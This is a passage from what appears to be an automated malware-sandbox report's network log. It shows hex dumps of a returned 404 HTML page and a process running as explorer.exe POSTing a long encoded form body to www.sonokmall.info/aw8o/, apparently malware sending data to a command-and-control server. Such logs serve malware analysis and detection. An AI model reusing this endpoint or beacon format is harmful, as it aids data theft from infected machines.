65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 09 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 41 22 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 70 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 42 22 3e 34 30 34 3c 2f 70 3e 0a 20 20 3c 61 20 63 6c 61 73 73 3d 22 74 65 78 74 43 22 20 68 72 65 66 3d 22 23 22 3e 47 6f 20 42 61 63 6b 3c 2f 61 3e 0a 09 3c 73 76 67 20 63 6c 61 73 73 3d 22 70 61 67 65 2d 6e 6f 74 2d 66 6f 75 6e 64 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 38 30 20 31 30 32 34 22 3e 0a 09 09 20 20 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 20 20 20 20 3c 67 20 63 6c 61 73 73 3d 22 68 69 64 65 20 74 72 69 2d 64 6f 74 73 22 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 30 36 2e 31 22 20 63 79 3d 22 38 39 30 2e 37 22 20 72 3d 22 33 2e 35 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 36 31 2e 33 20 32 38 33 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 32 36 2e 32 22 20 63 79 3d 22 38 37 38 2e 38 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 35 33 2e 37 20 32 39 30 2e 38 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 32 34 2e 34 22 20 63 79 3d 22 38 36 31 2e 38 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 34 36 2e 31 20 32 38 38 2e 31 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 34 35 2e 38 22 20 63 79 3d 22 38 36 37 2e 37 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 34 36 2e 35 20 32 39 38 2e 35 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css"><link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Roboto+Condensed:400,700'><link rel="stylesheet" href="/style.css"></head><body>... partial:index.partial.html --><div class="container"> <p class="textA">Page Not Found</p> <p class="textB">404</p> <a class="textC" href="#">Go Back</a><svg class="page-not-found" viewBox="0 0 1280 1024"> <title>Page Not Found</title> <g class="hide tri-dots"> <circle cx="406.1" cy="890.7" r="3.5" transform="translate(-361.3 283) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="426.2" cy="878.8" r="3.7" transform="translate(-353.7 290.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="424.4" cy="861.8" r="3.7" transform="translate(-346.1 288.1) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="445.8" cy="867.7" r="3.7" transform="translate(-346.5 298.5) rotate(-27.1)" style="fill: #ffe029"/> <circle cx=
Aug 29, 2023 22:49:49.012485981 CEST	2227	IN	Data Raw: 22 34 33 38 2e 33 22 20 63 79 3d 22 38 35 31 2e 38 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 34 30 2e 31 20 32 39 33 2e 34 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 Data Ascii: "438.3" cy="851.8" r="3.7" transform="translate(-340.1 293.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="453.8" cy="845.8" r="3.7" transform="translate(-335.6 299.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="
Aug 29, 2023 22:49:49.012543917 CEST	2228	IN	Data Raw: 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 38 37 2e 39 22 20 63 79 3d 22 38 31 30 2e 32 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 Data Ascii: ll: #ffe029"/> <circle cx="487.9" cy="810.2" r="3.7" transform="translate(-315.6 311.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="489.8" cy="791.1" r="3.7" transform="translate(-306.7 310.1) rotate(-27.1)" style="fil
Aug 29, 2023 22:49:49.012599945 CEST	2229	IN	Data Raw: 32 20 33 31 38 2e 32 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 31 39 2e 37 22 20 63 79 3d 22 38 31 Data Ascii: 2 318.2) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="519.7" cy="812.9" r="3.7" transform="translate(-313.4 326.2) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="534.7" cy="822.9" r="3.7" transform="translate(-316.3
Aug 29, 2023 22:49:49.012654066 CEST	2230	IN	Data Raw: 37 39 30 2e 35 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 39 37 2e 33 20 33 34 37 2e 38 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 Data Ascii: 790.5" r="3.7" transform="translate(-297.3 347.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="589.7" cy="797.2" r="3.7" transform="translate(-298.5 356.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="590" cy="782
Aug 29, 2023 22:49:49.012706995 CEST	2232	IN	Data Raw: 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 36 34 38 22 20 63 79 3d 22 37 34 37 2e 35 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 36 39 2e 34 20 33 37 37 2e 35 29 20 72 Data Ascii: <circle cx="648" cy="747.5" r="3.7" transform="translate(-269.4 377.5) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="643.5" cy="727.1" r="3.7" transform="translate(-260.6 373.2) rotate(-27.1)" style="fill: #ffe029"/>
Aug 29, 2023 22:49:49.012849092 CEST	2233	IN	Data Raw: 31 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 39 34 2e 37 22 20 63 79 3d 22 37 36 37 2e 39 22 20 72 Data Ascii: 1) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="594.7" cy="767.9" r="3.7" transform="translate(-284.6 355.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="574.7" cy="773.4" r="3.7" transform="translate(-289.3 346.9
Aug 29, 2023 22:49:49.012908936 CEST	2235	IN	Data Raw: 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 34 37 2e 33 20 33 33 36 2e 38 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 Data Ascii: ="3.7" transform="translate(-247.3 336.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="559.1" cy="669.7" r="3.7" transform="translate(-243.8 328.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="558.2" cy="686.9" r=
Aug 29, 2023 22:49:49.013051033 CEST	2236	IN	Data Raw: 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 35 36 2e 33 22 20 63 79 3d 22 37 30 33 2e 39 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 35 39 2e 37 20 33 33 30 2e 39 29 Data Ascii: <circle cx="556.3" cy="703.9" r="3.7" transform="translate(-259.7 330.9) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="552.7" cy="720.2" r="3.7" transform="translate(-267.5 331.1) rotate(-27.1)" style="fill: #ffe029"/>
Aug 29, 2023 22:49:49.013108969 CEST	2237	IN	Data Raw: 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 30 31 22 20 63 79 3d 22 37 31 37 2e 32 22 20 72 3d 22 33 2e 37 22 20 74 72 61 Data Ascii: e(-27.1)" style="fill: #ffe029"/> <circle cx="501" cy="717.2" r="3.7" transform="translate(-271.8 307.1) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="487.1" cy="704.7" r="3.7" transform="translate(-267.6 299.4) rotate(-
Aug 29, 2023 22:49:49.187170029 CEST	2239	IN	Data Raw: 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 34 30 2e 32 20 32 39 36 2e 33 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c Data Ascii: rm="translate(-240.2 296.3) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="478.7" cy="654.5" r="3.7" transform="translate(-245.7 290.1) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="477.7" cy="634.1" r="3.7" transfor

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.11.20	50048	162.0.239.145	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:49:51.438985109 CEST	2267	OUT	POST /aw8o/ HTTP/1.1 Host: www.sonokmall.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.sonokmall.info Referer: http://www.sonokmall.info/aw8o/ Connection: close Content-Length: 52915 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 31 79 61 53 47 76 59 53 31 73 55 49 58 33 46 78 41 61 6c 41 35 57 6d 62 36 42 68 67 2b 71 6f 67 4b 69 50 31 65 72 71 4e 48 56 37 44 75 79 7a 4c 68 6d 64 61 41 55 68 73 71 36 76 67 4a 52 6c 34 63 2b 72 76 59 32 61 71 50 48 77 76 30 38 74 5a 7a 62 5a 56 48 73 69 2f 63 6e 57 52 6d 61 39 54 45 54 38 63 56 35 78 4a 6c 56 6e 71 64 39 47 73 77 33 6f 43 62 64 59 49 39 49 71 53 6d 72 71 70 2b 67 69 61 49 75 6a 4a 31 74 2f 47 76 41 4d 31 45 49 43 5a 45 49 76 32 71 75 47 63 58 2f 4f 38 76 78 2f 73 6b 54 59 33 36 69 68 52 4c 76 69 51 6b 43 42 2f 53 6a 6f 6c 4d 4a 66 47 57 62 4e 6c 72 45 5a 42 7a 75 73 30 74 54 62 53 62 41 51 34 61 78 51 46 61 57 79 4c 44 53 63 62 7a 58 74 30 30 44 45 78 52 48 31 57 6b 50 72 53 46 4e 55 4f 64 58 50 53 66 65 6b 45 73 2b 48 44 75 53 73 4d 70 6d 55 33 68 31 54 43 76 2b 73 39 59 6b 4a 6b 4b 47 75 71 45 61 67 31 64 75 52 34 74 30 33 55 4e 2b 72 45 2b 2b 73 32 73 39 6e 61 57 72 62 4c 56 32 64 4a 4e 54 58 62 66 61 57 46 4d 73 4f 4f 36 59 4a 61 56 72 38 76 51 6c 33 74 74 78 39 58 52 57 42 65 62 6d 33 2b 4b 57 6d 58 59 48 38 59 47 50 30 4d 76 63 2b 50 54 6d 6a 51 73 69 7a 4b 6c 49 55 30 58 35 57 74 43 69 6a 42 50 58 4f 56 31 52 33 45 43 55 61 35 5a 6a 48 49 4c 36 46 37 6a 6b 56 4d 45 43 43 6b 71 2f 4e 32 39 67 6e 55 63 32 74 74 4e 4e 58 4d 6b 53 42 46 72 39 5a 37 56 4e 36 6e 55 67 57 43 48 39 31 35 58 76 68 30 4d 6c 37 59 73 37 41 54 41 43 71 76 36 67 43 4d 6f 51 55 68 42 79 55 36 6d 62 73 4e 78 47 51 39 39 66 68 6b 79 55 55 39 46 56 35 37 69 6e 7a 32 67 75 61 52 62 32 63 56 34 76 54 4b 79 75 51 41 42 41 61 30 50 50 56 4b 30 39 77 30 6f 37 54 57 2b 6c 70 66 36 61 76 67 75 48 31 77 32 59 56 2f 39 79 44 51 45 71 35 53 6d 34 68 4b 4e 44 49 6e 75 36 6e 71 31 50 4c 68 6f 65 38 2f 66 35 73 4d 62 66 46 71 33 47 6e 50 62 54 34 78 37 79 4a 72 64 44 2f 69 43 64 66 38 76 55 39 4a 73 62 72 74 6c 79 2b 7a 47 55 34 79 68 4b 4f 32 31 6f 67 6a 6c 71 54 4a 70 48 30 41 41 45 6b 52 46 4d 59 55 73 32 69 30 39 6c 32 64 64 79 76 6b 64 34 6a 67 47 68 6f 65 6a 6e 36 2f 43 49 4f 72 53 63 51 34 38 2b 30 55 38 58 53 4e 6b 55 6b 5a 76 44 4b 68 68 48 39 33 31 70 52 4a 72 66 53 6b 73 59 35 6f 31 59 4b 6b 58 2f 69 72 46 52 4e 61 50 6e 37 43 61 7a 74 32 6b 34 76 39 64 4d 46 6a 70 62 4c 50 62 69 68 64 69 43 39 61 7a 43 78 55 76 6e 43 45 70 52 6b 6f 65 50 79 52 34 4a 4b 52 47 5a 79 4c 55 4c 76 6f 5a 37 48 73 30 70 48 33 72 65 57 68 42 2f 44 52 74 51 44 59 79 34 4f 43 4f 61 75 33 4f 49 31 61 55 6c 41 31 52 59 36 6c 59 34 4d 62 35 6b 7a 79 49 39 67 65 2f 4f 36 51 4f 4e 55 73 6b 64 32 6e 36 71 67 48 58 68 4f 67 4c 36 34 42 32 6a 6e 49 63 6e 42 32 4c 4f 67 68 47 6f 77 38 5a 6e 45 6b 70 72 4d 6f 42 2b 41 4f 47 6b 6a 6d 67 61 75 58 4d 43 50 31 61 46 71 46 39 68 33 73 47 31 55 6c 76 6c 30 67 69 4e 72 70 44 57 32 6c 4b 53 64 77 4c 5a 2b 58 78 45 6b 4f 53 36 4e 53 4b 79 39 71 54 4d 51 79 75 6c 42 6c 6d 70 78 66 6a 4f 63 34 41 6a 62 6c 53 68 4e 37 59 66 45 53 77 51 51 56 58 47 51 43 36 58 36 51 69 75 37 66 39 41 6c 33 72 69 4b 58 53 7a 4a 68 66 4e 74 47 57 39 47 6a 58 47 36 34 37 2f 56 4a 76 4c 7a 6f 33 41 58 39 62 76 74 77 54 2f 51 73 41 55 79 70 63 41 38 6a 74 63 39 6a 53 61 61 78 4c 39 38 73 6d 75 55 2b 75 47 37 4d 57 48 49 55 64 66 66 43 77 52 47 38 6a 37 31 2b 61 35 2f 49 74 66 32 42 4b 35 5a 4b 41 51 47 4c 37 63 44 63 42 37 50 50 50 31 69 4a 76 72 77 72 71 71 4d 56 71 73 50 38 48 73 59 47 65 4f 4c 32 56 69 63 4a 75 51 30 46 58 5a 48 31 56 47 74 57 51 77 47 46 68 41 56 68 78 6a 57 77 51 64 7a 33 6e 36 67 65 43 47 72 48 31 6d 79 62 73 4f 41 74 57 58 76 70 76 6e 31 76 67 52 33 41 4a 6a 63 6f 70 57 46 4f 4a 65 65 43 43 36 57 30 76 37 32 47 6c 71 6a 5a 4c 69 6a 34 43 73 2f 4e 74 6e 34 65 33 67 62 36 71 70 36 44 37 62 75 48 76 49 4c 44 31 35 4d 61 71 37 65 39 42 4b 59 69 31 34 36 74 79 38 2b 57 4e 47 62 64 6b 44 58 57 46 4c 6c 4b 6a 6f 54 64 79 51 56 39 46 39 58 47 70 6e 5a 4c 72 74 56 36 39 54 37 66 66 69 44 2b 70 43 61 57 34 59 44 78 75 36 53 71 42 52 70 56 6e 34 37 68 58 42 6d 48 7a 69 78 79 72 56 5a 66 52 32 7a 70 77 4a 45 47 4e 49 43 6f 6f 4a 32 51 4c 42 51 56 32 43 47 32 6b 6c 50 76 58 76 4c 68 69 74 6a 6e 39 66 57 58 Data Ascii: 5Nag0d=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
Aug 29, 2023 22:49:51.439069986 CEST	2276	OUT	Data Raw: 38 4a 55 74 6b 64 47 39 72 32 35 6a 67 57 42 4a 4e 39 64 64 35 53 7a 7a 7a 75 35 72 53 2f 36 49 56 6e 65 55 45 6c 44 2b 44 4f 78 58 65 62 50 4f 4e 77 36 4f 45 31 6c 72 58 6e 68 36 68 50 39 50 6c 74 68 79 36 2b 64 37 49 4d 74 7a 64 6e 4c 57 53 57 Data Ascii: 8JUtkdG9r25jgWBJN9dd5Szzzu5rS/6IVneUElD+DOxXebPONw6OE1lrXnh6hP9Plthy6+d7IMtzdnLWSW9sKn2RzYJSx2cO3+xfsgHweEsPaYkS21PjU6S6X+tPNgUzgqcJYJetOyhLotWrd855b6KMr2MQwm/KTPBPstEIbC5ylQzYm0UT596fOV/sVWMRZ9ACtCTb5DtUeoFp6ZIwAeMVOgiXSJGNSswNtD8S5KWTimw0/+2
Aug 29, 2023 22:49:51.439115047 CEST	2277	OUT	Data Raw: 73 66 5a 53 41 4e 4c 44 4f 44 73 35 51 45 4d 47 64 6d 46 2f 55 73 51 57 67 49 62 61 4d 4f 67 42 38 34 45 4f 47 70 4d 69 64 48 35 69 34 2b 4e 49 33 47 63 42 53 2b 70 49 38 47 51 6e 4d 70 78 6a 49 56 34 7a 45 51 75 75 64 65 65 4f 6b 38 58 2f 63 69 Data Ascii: sfZSANLDODs5QEMGdmF/UsQWgIbaMOgB84EOGpMidH5i4+NI3GcBS+pI8GQnMpxjIV4zEQuudeeOk8X/ciFjfN7ciVNLfcAIWNjUbUZqrmBgZsMQd9oesgjpEPtAotNnIL+6eUVgCnu4Vtg1Ge+shFlsCjLzQLCCmOQE1Ap+O56hPIJtnBJHZlJnAKLUs+BDRnoFDlciCO3jXwe+e2r/sJiudUGB+j3eoTODrrTvF+r3YmoPias
Aug 29, 2023 22:49:51.611280918 CEST	2283	OUT	Data Raw: 46 69 74 4f 66 74 61 65 37 61 57 38 58 77 68 58 37 46 4a 71 67 4e 31 69 61 54 46 49 73 2b 5a 70 52 4f 50 50 48 57 43 44 77 61 36 48 5a 58 76 34 50 49 63 66 63 6d 39 30 58 32 7a 52 6b 42 64 4a 51 68 66 2b 53 71 47 31 71 73 72 67 61 73 73 54 77 62 Data Ascii: FitOftae7aW8XwhX7FJqgN1iaTFIs+ZpROPPHWCDwa6HZXv4PIcfcm90X2zRkBdJQhf+SqG1qsrgassTwb9rC7+LE+10AwN1zNLCWGpYCW5bJ0+WAZs09caw7rIbm+GrrwIrD0qcFgaRkKLRXh1lpwHorXYL4F2L5mW+SHiqeCTAy8XcQ06lQGEtUrYKf9yZKmhEFMM+0gQRKAjqkKlEBg9CQp34WHw/FeYV2KHrvBNQtbf9EOJ
Aug 29, 2023 22:49:51.611357927 CEST	2285	OUT	Data Raw: 4a 73 54 42 37 59 43 4e 77 69 65 6f 53 65 30 34 2b 67 54 53 33 72 43 38 43 34 59 76 65 44 6b 63 51 7a 37 77 56 48 50 64 53 73 70 57 41 64 78 46 54 62 37 67 30 41 68 39 67 50 62 37 75 50 41 70 31 75 67 34 7a 79 34 34 67 42 64 58 72 79 7a 2b 48 4e Data Ascii: JsTB7YCNwieoSe04+gTS3rC8C4YveDkcQz7wVHPdSspWAdxFTb7g0Ah9gPb7uPAp1ug4zy44gBdXryz+HNY0MSiGeTHUruXPOzFvK9DgYSSkczbwf1D97GFU874k9Y2m9MgJIiBbFqVRPjozsbL8VH8WrXXGzEbh6c1nZ3p/DSq3EMbyGS1FZHmwVrOnoDBsukTKPGwZTVrpvJX51U2NPDwE6qrMsmskwRihGDqowqUczj7J6Xw
Aug 29, 2023 22:49:51.611661911 CEST	2287	OUT	Data Raw: 53 58 55 78 54 42 71 31 47 39 49 66 6e 43 6e 72 41 43 56 67 75 74 6d 33 55 67 45 52 78 50 74 46 4a 61 4e 72 44 45 47 4f 4c 50 2f 47 4e 48 44 2b 68 50 51 56 5a 37 43 34 79 68 34 63 4f 74 6a 45 41 58 66 36 5a 52 49 42 58 66 38 74 64 63 50 53 52 62 Data Ascii: SXUxTBq1G9IfnCnrACVgutm3UgERxPtFJaNrDEGOLP/GNHD+hPQVZ7C4yh4cOtjEAXf6ZRIBXf8tdcPSRb0pImBZwpyGet/cPhNcGIernPcceCgmpThwXeP7bML/3gojsP62g3GUCKx04icgeCgpu9K9c4ptxmK//P9nfK4MdbvRu7Y3P+jLCVax5KQVpszycjEzOscPGDJfMj+xdf6pW0Nnl1OGWbW+Id5cWfhBIPaQLs7tnMX
Aug 29, 2023 22:49:51.611787081 CEST	2290	OUT	Data Raw: 50 72 47 35 39 30 6b 61 32 61 33 6a 6f 59 63 36 48 46 44 35 75 48 30 65 36 57 77 79 74 55 32 66 39 50 73 50 2f 37 68 65 66 58 34 6a 69 74 4f 36 39 79 66 76 64 68 62 41 68 74 4c 35 6e 34 6e 2f 70 4c 76 2f 72 56 48 42 50 4e 67 6d 64 70 75 32 35 53 Data Ascii: PrG590ka2a3joYc6HFD5uH0e6WwytU2f9PsP/7hefX4jitO69yfvdhbAhtL5n4n/pLv/rVHBPNgmdpu25SGwZ6DnriZCZIEyuuGSfmsSULMGOu0vz3Bq+u627Wm70HLCQEe6+Ttx77Hpc9q4TGx7XS+ZiL/haUtRDmByUHOiWDsfo6qdOW3AaZnI7xB+iW8xcA4y2dHabOgym3LQ94RQ7mSLJeaGn5uoC5T17KZtdluymUpXlBg
Aug 29, 2023 22:49:51.611943007 CEST	2295	OUT	Data Raw: 48 5a 4c 6d 46 59 42 2f 31 2f 65 39 72 6e 37 73 35 2b 33 41 46 68 65 32 69 66 6e 74 43 62 6d 30 7a 61 72 56 4d 67 79 75 4d 63 4f 32 66 2b 72 47 69 35 2b 63 73 63 4f 30 77 56 48 75 79 55 4e 31 4f 30 2b 72 46 33 77 6d 4a 64 37 77 30 73 55 4b 77 37 Data Ascii: HZLmFYB/1/e9rn7s5+3AFhe2ifntCbm0zarVMgyuMcO2f+rGi5+cscO0wVHuyUN1O0+rF3wmJd7w0sUKw72dPvj8Olj9/mRfIYK9mxxsm33DEx36lGS3AxgWSxSBJ3fF3J0ztDW9R6KXZBeuss6zN8xXsaoMK9KYoUlh2767ZGJeJA3JeZw5ERvYh4H2Fl0Pv2ex6WZx1lx7F8WEPJGamjtHmH5Ji8PKntL/dURNbZvYnigYfXS
Aug 29, 2023 22:49:51.612166882 CEST	2300	OUT	Data Raw: 4e 6a 73 37 5a 66 6a 72 61 67 38 74 6b 31 45 44 6a 45 6e 2b 38 44 32 6f 50 73 6e 2f 6a 63 6d 35 73 39 7a 51 45 72 6a 70 6b 56 31 45 45 72 66 71 67 4f 64 58 47 4b 46 4f 35 74 4a 4a 79 7a 61 59 4b 74 52 73 49 54 41 76 37 74 76 52 54 52 4c 75 43 65 Data Ascii: Njs7Zfjrag8tk1EDjEn+8D2oPsn/jcm5s9zQErjpkV1EErfqgOdXGKFO5tJJyzaYKtRsITAv7tvRTRLuCesBymLQgWPpOD+PjJgAdVK3djhRkjMEBOXxJrJDAiu8L/fJcyLWT7l5m11i5Dzwu0uc6RL64QRYgFmtqREiQI+7qTOdCghE42XwLbJk1UAnmmqbsv3rh97mpMPD20LUO3HAwpirdZ1utCZwM/es2ZEFwMoaEPRqYMS
